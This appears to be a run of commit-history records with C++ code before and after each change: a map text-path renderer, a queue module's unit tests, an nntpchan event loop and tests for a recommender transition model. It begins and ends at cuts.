flicker-blit issues for street names on zooming.\n \/\/\/ @todo Should investigate this stuff.\n if (m(0, 1) != 0.0 && m(1, 0) != 0.0)\n checkReverse();\n else\n setIsReverse(src.isReverse());\n }\n\n TextPath::TextPath(m2::PointD const * arr, size_t sz, double fullLength, double pathOffset)\n : m_fullLength(fullLength),\n m_pathOffset(pathOffset)\n {\n ASSERT ( sz > 1, () );\n\n m_arr.resize(sz);\n copy(arr, arr + sz, m_arr.begin());\n\n m_pv = PathView(&m_arr[0], m_arr.size());\n\n checkReverse();\n }\n\n bool TextPath::isReverse() const\n {\n return m_pv.isReverse();\n }\n\n void TextPath::setIsReverse(bool flag)\n {\n m_pv.setIsReverse(flag);\n }\n\n void TextPath::checkReverse()\n {\n \/* assume, that readable text in path should be ('o' - start draw point):\n * \/ o\n * \/ \\\n * \/ or \\\n * o \\\n *\/\n\n double const a = ang::AngleTo(m_arr[0], m_arr[m_arr.size() - 1]);\n\n if (fabs(a) > math::pi \/ 2.0)\n {\n \/\/ if we swap direction, we need to recalculate path offset from the end\n double len = 0.0;\n for (size_t i = 1; i < m_arr.size(); ++i)\n len += m_arr[i-1].Length(m_arr[i]);\n\n m_pathOffset = m_fullLength - m_pathOffset - len;\n ASSERT ( m_pathOffset >= -1.0E-6, () );\n if (m_pathOffset < 0.0)\n m_pathOffset = 0.0;\n\n setIsReverse(true);\n }\n else\n setIsReverse(false);\n }\n\n double TextPath::fullLength() const\n {\n return m_fullLength;\n }\n\n double TextPath::pathOffset() const\n {\n return m_pathOffset;\n }\n\n size_t TextPath::size() const\n {\n return m_pv.size();\n }\n\n m2::PointD TextPath::get(size_t i) const\n {\n return m_pv.get(i);\n }\n\n m2::PointD TextPath::operator[](size_t i) const\n {\n return get(i);\n }\n\n PathPoint const TextPath::offsetPoint(PathPoint const & pp, double offset) const\n {\n return m_pv.offsetPoint(pp, offset);\n }\n\n PivotPoint TextPath::findPivotPoint(PathPoint const & pp, GlyphMetrics const & sym) const\n {\n const PivotPoint ptStart = m_pv.findPivotPoint(pp, sym.m_xOffset - sym.m_width);\n const PivotPoint ptEnd = m_pv.findPivotPoint(pp, sym.m_xOffset + sym.m_width * 2);\n\n \/\/ both start and end are on the same segment, no need to calculate\n if (ptStart.m_pp.m_i == ptEnd.m_pp.m_i)\n return PivotPoint(ptStart.m_angle,\n PathPoint(ptStart.m_pp.m_i, ptStart.m_angle, (ptStart.m_pp.m_pt + ptEnd.m_pp.m_pt) \/ 2.0));\n\n \/\/ points are on different segments, average the angle and middle point\n const PivotPoint ptMid = m_pv.findPivotPoint(pp, sym.m_xOffset + sym.m_width \/ 2.0);\n if ((ptStart.m_pp.m_i != -1) && (ptMid.m_pp.m_i != -1) && (ptEnd.m_pp.m_i != -1))\n {\n const ang::AngleD avgAngle(ang::GetMiddleAngle(ptStart.m_angle.val(), ptEnd.m_angle.val()));\n\n return PivotPoint(avgAngle,\n PathPoint(ptMid.m_pp.m_i, ptMid.m_angle,\n (ptStart.m_pp.m_pt +\n ptMid.m_pp.m_pt + ptMid.m_pp.m_pt + \/\/ twice to compensate for long distance\n ptEnd.m_pp.m_pt) \/ 4.0));\n }\n else\n {\n \/\/ if some of the pivot points are outside of the path, just take the middle value\n return ptMid;\n }\n }\n\n PathPoint const TextPath::front() const\n {\n return m_pv.front();\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland\n * All rights reserved.\n *\n * This library\/application is free software; you can redistribute and\/or modify it under the terms of\n * the license that is included with this library\/application in the file license.txt.\n *\/\n\n\/\/--- interface include --------------------------------------------------------\n#include \"QueueWorkingModuleTest.h\"\n\n\/\/--- module under test --------------------------------------------------------\n#include \"QueueWorkingModule.h\"\n\n\/\/--- test modules used --------------------------------------------------------\n#include \"TestSuite.h\"\n\n\/\/--- project modules used ----------------------------------------------------\n#include \"Queue.h\"\n\n\/\/--- standard modules used ----------------------------------------------------\n#include \"System.h\"\n#include \"Dbg.h\"\n\n\/\/--- c-modules used -----------------------------------------------------------\n\n\/\/---- QueueWorkingModuleTest ----------------------------------------------------------------\nQueueWorkingModuleTest::QueueWorkingModuleTest(TString tstrName)\n\t: TestCaseType(tstrName)\n{\n\tStartTrace(QueueWorkingModuleTest.QueueWorkingModuleTest);\n}\n\nTString QueueWorkingModuleTest::getConfigFileName()\n{\n\treturn \"QueueWorkingModuleTestConfig\";\n}\n\nQueueWorkingModuleTest::~QueueWorkingModuleTest()\n{\n\tStartTrace(QueueWorkingModuleTest.Dtor);\n}\n\nvoid QueueWorkingModuleTest::InitFinisNoModuleConfigTest()\n{\n\tStartTrace(QueueWorkingModuleTest.InitFinisNoModuleConfigTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\tt_assertm( !aModule.Init(GetTestCaseConfig()[\"ModuleConfig\"]), \"module init should have failed due to missing configuration\" );\n}\n\nvoid QueueWorkingModuleTest::InitFinisDefaultsTest()\n{\n\tStartTrace(QueueWorkingModuleTest.InitFinisDefaultsTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\tif ( t_assertm( aModule.Init(GetTestCaseConfig()[\"ModuleConfig\"]), \"module init should have succeeded\" ) ) {\n\t\tif ( t_assert( aModule.fpContext != NULL ) ) {\n\t\t\tassertAnyEqual(GetTestCaseConfig()[\"ModuleConfig\"][\"QueueWorkingModule\"], aModule.fpContext->GetEnvStore());\n\t\t}\n\t\tif ( t_assert( aModule.fpQueue != NULL ) ) {\n\t\t\tassertEqualm(0L, aModule.fpQueue->GetSize(), \"expected queue to be empty\");\n\t\t\tAnything anyStatistics;\n\t\t\taModule.fpQueue->GetStatistics(anyStatistics);\n\t\t\tassertEqualm(100L, anyStatistics[\"QueueSize\"].AsLong(-1L), \"expected default queue size to be 100\");\n\t\t}\n\t\t\/\/ terminate module and perform some checks\n\t\tt_assert( aModule.Finis() );\n\t\tt_assert( aModule.fpContext == NULL );\n\t\tt_assert( aModule.fpQueue == NULL );\n\t}\n}\n\nvoid QueueWorkingModuleTest::InitFinisTest()\n{\n\tStartTrace(QueueWorkingModuleTest.InitFinisTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\tif ( t_assertm( aModule.Init(GetTestCaseConfig()[\"ModuleConfig\"]), \"module init should have succeeded\" ) ) {\n\t\tif ( t_assert( aModule.fpContext != NULL ) ) {\n\t\t\t\/\/ check for invalid Server\n\t\t\tt_assertm( NULL == aModule.fpContext->GetServer(), \"server must be NULL because of non-existing server\");\n\t\t\tassertAnyEqual(GetTestCaseConfig()[\"ModuleConfig\"][\"QueueWorkingModule\"], aModule.fpContext->GetEnvStore());\n\t\t}\n\t\tif ( t_assert( aModule.fpQueue != NULL ) ) {\n\t\t\tassertEqualm(0L, aModule.fpQueue->GetSize(), \"expected queue to be empty\");\n\t\t\tAnything anyStatistics;\n\t\t\taModule.fpQueue->GetStatistics(anyStatistics);\n\t\t\tassertEqualm(25L, anyStatistics[\"QueueSize\"].AsLong(-1L), \"expected queue size to be 25 as configured\");\n\t\t}\n\n\t\t\/\/ terminate module and perform some checks\n\t\tt_assert( aModule.Finis() );\n\t\tt_assert( aModule.fpContext == NULL );\n\t\tt_assert( aModule.fpQueue == NULL );\n\t}\n}\n\nvoid QueueWorkingModuleTest::GetAndPutbackTest()\n{\n\tStartTrace(QueueWorkingModuleTest.GetAndPutbackTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\t\/\/ set modules fAlive-field to enable working of the functions\n\t\/\/ first check if they don't work\n\t{\n\t\tAnything anyMsg;\n\t\t\/\/ must fail\n\t\tt_assert( !aModule.PutElement(anyMsg, false) );\n\t\t\/\/ fails because of uninitialized queue\n\t\tt_assert( !aModule.GetElement(anyMsg, false) );\n\t}\n\taModule.IntInitQueue(GetTestCaseConfig()[\"ModuleConfig\"][\"QueueWorkingModule\"]);\n\t{\n\t\tAnything anyMsg;\n\t\t\/\/ must still fail because of dead-state\n\t\tt_assert( !aModule.GetElement(anyMsg, false) );\n\t}\n\taModule.fAlive = 0xf007f007;\n\tif ( t_assertm( aModule.fpQueue != NULL , \"queue should be created\" ) ) {\n\t\t\/\/ queue is empty, so retrieving an element with tryLock=true should\n\t\t\/\/ return immediately and fail.\n\t\t{\n\t\t\tAnything anyElement;\n\t\t\tt_assert( !(aModule.GetElement(anyElement, true)) );\n\t\t}\n\t\t\/\/ queue size is 1, so we load it with 1 element\n\t\t{\n\t\t\tAnything anyMsg;\n\t\t\tanyMsg[\"Number\"] = 1;\n\t\t\t\/\/ this one must succeed\n\t\t\tt_assert( aModule.PutElement(anyMsg, false) );\n\t\t}\n\t\t\/\/ now putback one message\n\t\t{\n\t\t\tAnything anyMsg;\n\t\t\tanyMsg[\"Number\"] = 2;\n\t\t\t\/\/ this one must fail\n\t\t\tif ( t_assert( !aModule.PutElement(anyMsg, true) ) ) {\n\t\t\t\taModule.PutBackElement(anyMsg);\n\t\t\t\tassertEqualm(1, aModule.fFailedPutbackMessages.GetSize(), \"expected overflow buffer to contain an element\");\n\t\t\t}\n\t\t}\n\t\tAnything anyElement;\n\t\tif ( t_assert( aModule.GetElement(anyElement) ) ) {\n\t\t\tassertEqualm( 2, anyElement[\"Number\"].AsLong(-1L), \"expected to get putback element first\");\n\t\t}\n\t\tassertEqualm( 0, aModule.fFailedPutbackMessages.GetSize(), \"expected overflow buffer to be empty now\");\n\t\tif ( t_assert( aModule.GetElement(anyElement) ) ) {\n\t\t\tassertEqualm( 1, anyElement[\"Number\"].AsLong(-1L), \"expected to get regular queue element last\");\n\t\t}\n\t\tassertEqualm( 0, aModule.fpQueue->GetSize(), \"expected queue to be empty now\");\n\t\taModule.IntCleanupQueue();\n\t}\n}\n\n\/\/ builds up a suite of tests, add a line for each testmethod\nTest *QueueWorkingModuleTest::suite ()\n{\n\tStartTrace(QueueWorkingModuleTest.suite);\n\tTestSuite *testSuite = new TestSuite;\n\n\tADD_CASE(testSuite, QueueWorkingModuleTest, InitFinisNoModuleConfigTest);\n\tADD_CASE(testSuite, QueueWorkingModuleTest, InitFinisDefaultsTest);\n\tADD_CASE(testSuite, QueueWorkingModuleTest, InitFinisTest);\n\tADD_CASE(testSuite, QueueWorkingModuleTest, GetAndPutbackTest);\n\n\treturn testSuite;\n}\n<commit_msg>adjusted StatusCode checking of method calls<commit_after>\/*\n * Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland\n * All rights reserved.\n *\n * This library\/application is free software; you can redistribute and\/or modify it under the terms of\n * the license that is included with this library\/application in the file license.txt.\n *\/\n\n\/\/--- interface include --------------------------------------------------------\n#include \"QueueWorkingModuleTest.h\"\n\n\/\/--- module under test --------------------------------------------------------\n#include \"QueueWorkingModule.h\"\n\n\/\/--- test modules used --------------------------------------------------------\n#include \"TestSuite.h\"\n\n\/\/--- project modules used ----------------------------------------------------\n#include \"Queue.h\"\n\n\/\/--- standard modules used ----------------------------------------------------\n#include \"System.h\"\n#include \"Dbg.h\"\n\n\/\/--- c-modules used -----------------------------------------------------------\n\n\/\/---- QueueWorkingModuleTest ----------------------------------------------------------------\nQueueWorkingModuleTest::QueueWorkingModuleTest(TString tstrName)\n\t: TestCaseType(tstrName)\n{\n\tStartTrace(QueueWorkingModuleTest.QueueWorkingModuleTest);\n}\n\nTString QueueWorkingModuleTest::getConfigFileName()\n{\n\treturn \"QueueWorkingModuleTestConfig\";\n}\n\nQueueWorkingModuleTest::~QueueWorkingModuleTest()\n{\n\tStartTrace(QueueWorkingModuleTest.Dtor);\n}\n\nvoid QueueWorkingModuleTest::InitFinisNoModuleConfigTest()\n{\n\tStartTrace(QueueWorkingModuleTest.InitFinisNoModuleConfigTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\tt_assertm( !aModule.Init(GetTestCaseConfig()[\"ModuleConfig\"]), \"module init should have failed due to missing configuration\" );\n}\n\nvoid QueueWorkingModuleTest::InitFinisDefaultsTest()\n{\n\tStartTrace(QueueWorkingModuleTest.InitFinisDefaultsTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\tif ( t_assertm( aModule.Init(GetTestCaseConfig()[\"ModuleConfig\"]), \"module init should have succeeded\" ) ) {\n\t\tif ( t_assert( aModule.fpContext != NULL ) ) {\n\t\t\tassertAnyEqual(GetTestCaseConfig()[\"ModuleConfig\"][\"QueueWorkingModule\"], aModule.fpContext->GetEnvStore());\n\t\t}\n\t\tif ( t_assert( aModule.fpQueue != NULL ) ) {\n\t\t\tassertEqualm(0L, aModule.fpQueue->GetSize(), \"expected queue to be empty\");\n\t\t\tAnything anyStatistics;\n\t\t\taModule.fpQueue->GetStatistics(anyStatistics);\n\t\t\tassertEqualm(100L, anyStatistics[\"QueueSize\"].AsLong(-1L), \"expected default queue size to be 100\");\n\t\t}\n\t\t\/\/ terminate module and perform some checks\n\t\tt_assert( aModule.Finis() );\n\t\tt_assert( aModule.fpContext == NULL );\n\t\tt_assert( aModule.fpQueue == NULL );\n\t}\n}\n\nvoid QueueWorkingModuleTest::InitFinisTest()\n{\n\tStartTrace(QueueWorkingModuleTest.InitFinisTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\tif ( t_assertm( aModule.Init(GetTestCaseConfig()[\"ModuleConfig\"]), \"module init should have succeeded\" ) ) {\n\t\tif ( t_assert( aModule.fpContext != NULL ) ) {\n\t\t\t\/\/ check for invalid Server\n\t\t\tt_assertm( NULL == aModule.fpContext->GetServer(), \"server must be NULL because of non-existing server\");\n\t\t\tassertAnyEqual(GetTestCaseConfig()[\"ModuleConfig\"][\"QueueWorkingModule\"], aModule.fpContext->GetEnvStore());\n\t\t}\n\t\tif ( t_assert( aModule.fpQueue != NULL ) ) {\n\t\t\tassertEqualm(0L, aModule.fpQueue->GetSize(), \"expected queue to be empty\");\n\t\t\tAnything anyStatistics;\n\t\t\taModule.fpQueue->GetStatistics(anyStatistics);\n\t\t\tassertEqualm(25L, anyStatistics[\"QueueSize\"].AsLong(-1L), \"expected queue size to be 25 as configured\");\n\t\t}\n\n\t\t\/\/ terminate module and perform some checks\n\t\tt_assert( aModule.Finis() );\n\t\tt_assert( aModule.fpContext == NULL );\n\t\tt_assert( aModule.fpQueue == NULL );\n\t}\n}\n\nvoid QueueWorkingModuleTest::GetAndPutbackTest()\n{\n\tStartTrace(QueueWorkingModuleTest.GetAndPutbackTest);\n\tQueueWorkingModule aModule(\"QueueWorkingModule\");\n\t\/\/ set modules fAlive-field to enable working of the functions\n\t\/\/ first check if they don't work\n\t{\n\t\tAnything anyMsg;\n\t\t\/\/ must fail\n\t\tassertEqual( Queue::eDead, aModule.PutElement(anyMsg, false) );\n\t\t\/\/ fails because of uninitialized queue\n\t\tassertEqual( Queue::eDead, aModule.GetElement(anyMsg, false) );\n\t}\n\taModule.IntInitQueue(GetTestCaseConfig()[\"ModuleConfig\"][\"QueueWorkingModule\"]);\n\t{\n\t\tAnything anyMsg;\n\t\t\/\/ must still fail because of dead-state\n\t\tassertEqual( Queue::eDead, aModule.GetElement(anyMsg, false) );\n\t}\n\taModule.fAlive = 0xf007f007;\n\tif ( t_assertm( aModule.fpQueue != NULL , \"queue should be created\" ) ) {\n\t\t\/\/ queue is empty, so retrieving an element with tryLock=true should\n\t\t\/\/ return immediately and fail.\n\t\t{\n\t\t\tAnything anyElement;\n\t\t\tassertEqual( Queue::eEmpty, aModule.GetElement(anyElement, true) );\n\t\t}\n\t\t\/\/ queue size is 1, so we load it with 1 element\n\t\t{\n\t\t\tAnything anyMsg;\n\t\t\tanyMsg[\"Number\"] = 1;\n\t\t\t\/\/ this one must succeed\n\t\t\tassertEqual( Queue::eSuccess, aModule.PutElement(anyMsg, false) );\n\t\t}\n\t\t\/\/ now putback one message\n\t\t{\n\t\t\tAnything anyMsg;\n\t\t\tanyMsg[\"Number\"] = 2;\n\t\t\t\/\/ this one must fail\n\t\t\tif ( assertEqual( Queue::eFull, aModule.PutElement(anyMsg, true) ) ) {\n\t\t\t\taModule.PutBackElement(anyMsg);\n\t\t\t\tassertEqualm(1, aModule.fFailedPutbackMessages.GetSize(), \"expected overflow buffer to contain an element\");\n\t\t\t}\n\t\t}\n\t\tAnything anyElement;\n\t\tif ( assertEqual( Queue::eSuccess, aModule.GetElement(anyElement) ) ) {\n\t\t\tassertEqualm( 2, anyElement[\"Number\"].AsLong(-1L), \"expected to get putback element first\");\n\t\t}\n\t\tassertEqualm( 0, aModule.fFailedPutbackMessages.GetSize(), \"expected overflow buffer to be empty now\");\n\t\tif ( assertEqual( Queue::eSuccess, aModule.GetElement(anyElement) ) ) {\n\t\t\tassertEqualm( 1, anyElement[\"Number\"].AsLong(-1L), \"expected to get regular queue element last\");\n\t\t}\n\t\tassertEqualm( 0, aModule.fpQueue->GetSize(), \"expected queue to be empty now\");\n\t\taModule.IntCleanupQueue();\n\t}\n}\n\n\/\/ builds up a suite of tests, add a line for each testmethod\nTest *QueueWorkingModuleTest::suite ()\n{\n\tStartTrace(QueueWorkingModuleTest.suite);\n\tTestSuite *testSuite = new TestSuite;\n\n\tADD_CASE(testSuite, QueueWorkingModuleTest, InitFinisNoModuleConfigTest);\n\tADD_CASE(testSuite, QueueWorkingModuleTest, InitFinisDefaultsTest);\n\tADD_CASE(testSuite, QueueWorkingModuleTest, InitFinisTest);\n\tADD_CASE(testSuite, QueueWorkingModuleTest, GetAndPutbackTest);\n\n\treturn testSuite;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <fcntl.h>\n\nconstexpr size_t ev_buffsz = 512;\n\n#ifdef __linux__\n#include \"epoll.hpp\"\ntypedef nntpchan::ev::EpollLoop<ev_buffsz> LoopImpl;\n#else\n#ifdef __freebsd__\n#include \"kqueue.hpp\"\ntypedef nntpchan::ev::KqueueLoop<ev_buffsz> LoopImpl;\n#else\n#ifdef __netbsd__\ntypedef nntpchan::ev::KqueueLoop<ev_buffsz> LoopImpl;\n#else\n#error \"unsupported platform\"\n#endif\n#endif\n#endif\n\nnamespace nntpchan\n{\nnamespace ev\n{\nbool ev::Loop::BindTCP(const sockaddr *addr, ev::io *handler)\n{\n assert(handler->acceptable());\n socklen_t slen;\n switch (addr->sa_family)\n {\n case AF_INET:\n slen = sizeof(sockaddr_in);\n break;\n case AF_INET6:\n slen = sizeof(sockaddr_in6);\n break;\n case AF_UNIX:\n slen = sizeof(sockaddr_un);\n break;\n default:\n return false;\n }\n int fd = socket(addr->sa_family, SOCK_STREAM | SOCK_NONBLOCK, 0);\n if (fd == -1)\n {\n return false;\n }\n\n if (bind(fd, addr, slen) == -1)\n {\n ::close(fd);\n return false;\n }\n\n if (listen(fd, 5) == -1)\n {\n ::close(fd);\n return false;\n }\n\n handler->fd = fd;\n return TrackConn(handler);\n}\n\nbool Loop::SetNonBlocking(ev::io *handler)\n{\n return fcntl(handler->fd, F_SETFL, fcntl(handler->fd, F_GETFL, 0) | O_NONBLOCK) != -1;\n}\n}\n\nev::Loop *NewMainLoop() { return new LoopImpl; }\n}<commit_msg>correct define<commit_after>#include <fcntl.h>\n\nconstexpr size_t ev_buffsz = 512;\n\n#ifdef __linux__\n#include \"epoll.hpp\"\ntypedef nntpchan::ev::EpollLoop<ev_buffsz> LoopImpl;\n#else\n#ifdef __FreeBSD__\n#include \"kqueue.hpp\"\ntypedef nntpchan::ev::KqueueLoop<ev_buffsz> LoopImpl;\n#else\n#ifdef __netbsd__\ntypedef nntpchan::ev::KqueueLoop<ev_buffsz> LoopImpl;\n#else\n#error \"unsupported platform\"\n#endif\n#endif\n#endif\n\nnamespace nntpchan\n{\nnamespace ev\n{\nbool ev::Loop::BindTCP(const sockaddr *addr, ev::io *handler)\n{\n assert(handler->acceptable());\n socklen_t slen;\n switch (addr->sa_family)\n {\n case AF_INET:\n slen = sizeof(sockaddr_in);\n break;\n case AF_INET6:\n slen = sizeof(sockaddr_in6);\n break;\n case AF_UNIX:\n slen = sizeof(sockaddr_un);\n break;\n default:\n return false;\n }\n int fd = socket(addr->sa_family, SOCK_STREAM | SOCK_NONBLOCK, 0);\n if (fd == -1)\n {\n return false;\n }\n\n if (bind(fd, addr, slen) == -1)\n {\n ::close(fd);\n return false;\n }\n\n if (listen(fd, 5) == -1)\n {\n ::close(fd);\n return false;\n }\n\n handler->fd = fd;\n return TrackConn(handler);\n}\n\nbool Loop::SetNonBlocking(ev::io *handler)\n{\n return fcntl(handler->fd, F_SETFL, fcntl(handler->fd, F_GETFL, 0) | O_NONBLOCK) != -1;\n}\n}\n\nev::Loop *NewMainLoop() { return new LoopImpl; }\n}<|endoftext|>"} {"text":"<commit_before>#include <gtest\/gtest.h>\n#include \"..\/..\/main\/models\/baseline\/TransitionProbabilityModel.h\"\n#include \"..\/..\/main\/models\/baseline\/TransitionProbabilityModelUpdater.h\"\n#include \"..\/..\/main\/loggers\/TransitionModelEndLogger.h\"\n\n\nnamespace{\n\nclass TestTransitionProbabilityModel : public ::testing::Test {\n public:\n TestTransitionProbabilityModel(){}\n virtual ~TestTransitionProbabilityModel(){}\n virtual void SetUp(){\n }\n virtual void TearDown(){\n }\n RecDat create_recdat(int time,int user,int item,int score){\n RecDat rec_dat;\n rec_dat.time = time;\n rec_dat.user = user;\n rec_dat.item = item;\n rec_dat.score = score;\n return rec_dat;\n }\n};\nclass TestTransitionEndLogger : public ::testing::Test {\n public:\n TestTransitionEndLogger(){}\n virtual ~TestTransitionEndLogger(){}\n virtual void SetUp(){\n }\n virtual void TearDown(){\n for(int i=0;i<rec_dat_container_.size();i++){\n delete rec_dat_container_[i];\n }\n }\n vector<RecDat*> rec_dat_container_;\n RecDat* create_recdat(int time,int user,int item,int score){\n RecDat* rec_dat = new RecDat;\n rec_dat->time = time;\n rec_dat->user = user;\n rec_dat->item = item;\n rec_dat->score = score;\n rec_dat_container_.push_back(rec_dat);\n return rec_dat;\n }\n};\n\n}\n\nTEST_F(TestTransitionProbabilityModel, test){\n \/\/data\n vector<RecDat> timeline;\n timeline.push_back(create_recdat(0,10,20,1));\n timeline.push_back(create_recdat(1,10,10,1));\n timeline.push_back(create_recdat(2,10,20,1));\n timeline.push_back(create_recdat(3,10,10,1));\n timeline.push_back(create_recdat(4,10,20,1));\n timeline.push_back(create_recdat(5,10,30,1));\n timeline.push_back(create_recdat(5,20,20,1)); \/\/another user\n timeline.push_back(create_recdat(6,10,20,1));\n timeline.push_back(create_recdat(7,10,30,1));\n timeline.push_back(create_recdat(8,10,20,1));\n timeline.push_back(create_recdat(9,10,30,1));\n timeline.push_back(create_recdat(10,10,20,1));\n \/\/statistics: a 20-as itemet 3-szor a 30-as, 2-szer a 10-es kovette\n \/\/statistics: a 10-es itemet 2-szor a 20-as, 0-szor a 30-es kovette\n \/\/statistics: a 30-as itemet 3-szor a 20-as, 0-szor a 10-es kovette\n\n TransitionProbabilityModel model;\n TransitionProbabilityModelUpdaterParameters params;\n TransitionProbabilityModelUpdater updater(¶ms);\n updater.set_model(&model);\n EXPECT_TRUE(model.self_test());\n EXPECT_TRUE(updater.self_test());\n RecDat rec_dat;\n rec_dat = create_recdat(30,10,30,1);\n EXPECT_EQ(0, model.prediction(&rec_dat));\n rec_dat = create_recdat(30,20,30,1);\n EXPECT_EQ(0, model.prediction(&rec_dat));\n for(RecDat rec_dat : timeline){\n updater.update(&rec_dat);\n }\n rec_dat = create_recdat(30,10,30,1);\n EXPECT_EQ(log(3+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,20,30,1);\n EXPECT_EQ(log(3+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,10,10,1);\n EXPECT_EQ(log(2+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,20,10,1);\n EXPECT_EQ(log(2+1), model.prediction(&rec_dat));\n}\n\nTEST_F(TestTransitionEndLogger, test){\n vector<RecDat> timeline;\n TransitionProbabilityModel model;\n TransitionProbabilityModelUpdaterParameters params;\n params.filter_freq_updates = false; \/\/default: do not do any filtering\n TransitionProbabilityModelUpdater updater(¶ms);\n updater.set_model(&model);\n EXPECT_TRUE(model.self_test());\n EXPECT_TRUE(updater.self_test());\n TransitionModelEndLoggerParameters logger_params;\n logger_params.max_length=5;\n TransitionModelEndLogger logger(&logger_params);\n logger.set_model(&model);\n PopContainer pop_container;\n logger.set_pop_container(&pop_container);\n EXPECT_TRUE(logger.self_test());\n pop_container.increase(2);\n pop_container.increase(2);\n pop_container.increase(2);\n pop_container.increase(2); \/\/4x\n pop_container.increase(3);\n pop_container.increase(3); \/\/2x\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5); \/\/6x\n RecDat* rec_dat;\n rec_dat = create_recdat(1,1,1,1);\n updater.update(rec_dat);\n for(int i=0;i<10;i++){\n rec_dat = create_recdat(1,1,2,1);\n updater.update(rec_dat);\n rec_dat = create_recdat(1,1,3,1);\n updater.update(rec_dat);\n }\n rec_dat = create_recdat(1,1,1,1);\n updater.update(rec_dat);\n for(int i=0;i<10;i++){\n rec_dat = create_recdat(1,1,4,1);\n updater.update(rec_dat);\n rec_dat = create_recdat(1,1,5,1);\n updater.update(rec_dat);\n rec_dat = create_recdat(1,1,6,1);\n updater.update(rec_dat);\n }\n rec_dat = create_recdat(1,1,1,1);\n updater.update(rec_dat);\n for(int i=0;i<10;i++){\n RecDat* rec_dat_1 = create_recdat(1,1,7,1);\n RecDat* rec_dat_2 = create_recdat(1,1,i,1);\n for(int j=0;j<i;j++){\n updater.update(rec_dat_1);\n updater.update(rec_dat_2);\n }\n }\n std::stringstream ss;\n logger.run_core(ss);\n vector<string> expected_lines;\n expected_lines.push_back(\"0 0 0\");\n expected_lines.push_back(\"1 3 0 7,2 2,1 4,1\");\n expected_lines.push_back(\"2 2 4 3,10 7,2\");\n expected_lines.push_back(\"3 3 2 2,9 7,3 1,1\");\n expected_lines.push_back(\"4 2 0 5,10 7,4\");\n expected_lines.push_back(\"5 2 6 6,10 7,5\");\n expected_lines.push_back(\"6 3 0 4,9 7,6 1,1\");\n expected_lines.push_back(\"7 9 0 7,14 9,9 8,8 6,6 5,5\");\/\/ 4,4 3,3 2,2 1,1\");\n expected_lines.push_back(\"8 1 0 7,8\");\n expected_lines.push_back(\"9 1 0 7,8\"); \n for(int i=0;i<expected_lines.size();i++){\n string actual_line;\n std::getline(ss,actual_line);\n EXPECT_EQ(expected_lines[i],actual_line);\n } \n \/\/cerr << ss.str() << endl;\n}\n\nint main (int argc, char **argv) {\n testing::InitGoogleTest(&argc, argv);\n return RUN_ALL_TESTS();\n}\n<commit_msg>expanded test of TransitionModel<commit_after>#include <gtest\/gtest.h>\n#include \"..\/..\/main\/models\/baseline\/TransitionProbabilityModel.h\"\n#include \"..\/..\/main\/models\/baseline\/TransitionProbabilityModelUpdater.h\"\n#include \"..\/..\/main\/loggers\/TransitionModelEndLogger.h\"\n\n\nnamespace{\n\nclass TestTransitionProbabilityModel : public ::testing::Test {\n public:\n TestTransitionProbabilityModel(){}\n virtual ~TestTransitionProbabilityModel(){}\n virtual void SetUp(){\n }\n virtual void TearDown(){\n }\n RecDat create_recdat(int time,int user,int item,int score){\n RecDat rec_dat;\n rec_dat.time = time;\n rec_dat.user = user;\n rec_dat.item = item;\n rec_dat.score = score;\n return rec_dat;\n }\n};\nclass TestTransitionEndLogger : public ::testing::Test {\n public:\n TestTransitionEndLogger(){}\n virtual ~TestTransitionEndLogger(){}\n virtual void SetUp(){\n }\n virtual void TearDown(){\n for(int i=0;i<rec_dat_container_.size();i++){\n delete rec_dat_container_[i];\n }\n }\n vector<RecDat*> rec_dat_container_;\n RecDat* create_recdat(int time,int user,int item,int score){\n RecDat* rec_dat = new RecDat;\n rec_dat->time = time;\n rec_dat->user = user;\n rec_dat->item = item;\n rec_dat->score = score;\n rec_dat_container_.push_back(rec_dat);\n return rec_dat;\n }\n};\n\n}\n\nTEST_F(TestTransitionProbabilityModel, test_prediction){\n \/\/data\n vector<RecDat> timeline;\n timeline.push_back(create_recdat(0,10,20,1));\n timeline.push_back(create_recdat(1,10,10,1));\n timeline.push_back(create_recdat(2,10,20,1));\n timeline.push_back(create_recdat(3,10,10,1));\n timeline.push_back(create_recdat(4,10,20,1));\n timeline.push_back(create_recdat(5,10,30,1));\n timeline.push_back(create_recdat(5,20,20,1)); \/\/another user\n timeline.push_back(create_recdat(6,10,20,1));\n timeline.push_back(create_recdat(7,10,30,1));\n timeline.push_back(create_recdat(8,10,20,1));\n timeline.push_back(create_recdat(9,10,30,1));\n timeline.push_back(create_recdat(10,10,20,1));\n timeline.push_back(create_recdat(11,30,10,1)); \/\/another user\n \/\/statistics: a 20-as itemet 3-szor a 30-as, 2-szer a 10-es kovette\n \/\/statistics: a 10-es itemet 2-szor a 20-as, 0-szor a 30-as kovette\n \/\/statistics: a 30-as itemet 3-szor a 20-as, 0-szor a 10-es kovette\n\n TransitionProbabilityModel model;\n TransitionProbabilityModelUpdaterParameters params;\n TransitionProbabilityModelUpdater updater(¶ms);\n updater.set_model(&model);\n EXPECT_TRUE(model.self_test());\n EXPECT_TRUE(updater.self_test());\n RecDat rec_dat;\n rec_dat = create_recdat(30,10,30,1);\n EXPECT_EQ(0, model.prediction(&rec_dat));\n rec_dat = create_recdat(30,20,30,1);\n EXPECT_EQ(0, model.prediction(&rec_dat));\n for(RecDat rec_dat : timeline){\n updater.update(&rec_dat);\n }\n rec_dat = create_recdat(30,10,10,1);\n EXPECT_EQ(log(2+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,10,30,1);\n EXPECT_EQ(log(3+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,20,10,1);\n EXPECT_EQ(log(2+1), 